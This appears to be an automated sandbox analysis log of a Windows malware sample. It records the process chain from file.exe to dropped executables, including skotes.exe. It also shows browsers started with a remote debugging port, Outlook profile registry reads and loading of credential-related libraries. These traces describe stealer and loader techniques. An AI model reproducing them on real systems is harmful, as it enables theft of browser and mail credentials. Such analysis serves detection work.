Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7440 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7440 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGHIJJEGDBF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsGHIJJEGDBF.exe "C:\Users\user\DocumentsGHIJJEGDBF.exe"
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6936 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe "C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe "C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGHIJJEGDBF.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2588 --field-trial-handle=2524,i,9816825700669326211,7744358468109525657,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\DocumentsGHIJJEGDBF.exe "C:\Users\user\DocumentsGHIJJEGDBF.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2228,i,9693784177863830162,11049134398304697985,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6644 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6812 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7440 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7440 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7440 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6936 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsGHIJJEGDBF.exe "C:\Users\user\DocumentsGHIJJEGDBF.exe"
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe "C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe "C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1795072 > 1048576

Source: file.exe

Static PE information: Raw size of oweoibkj is bigger than: 0x100000 < 0x19c800

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
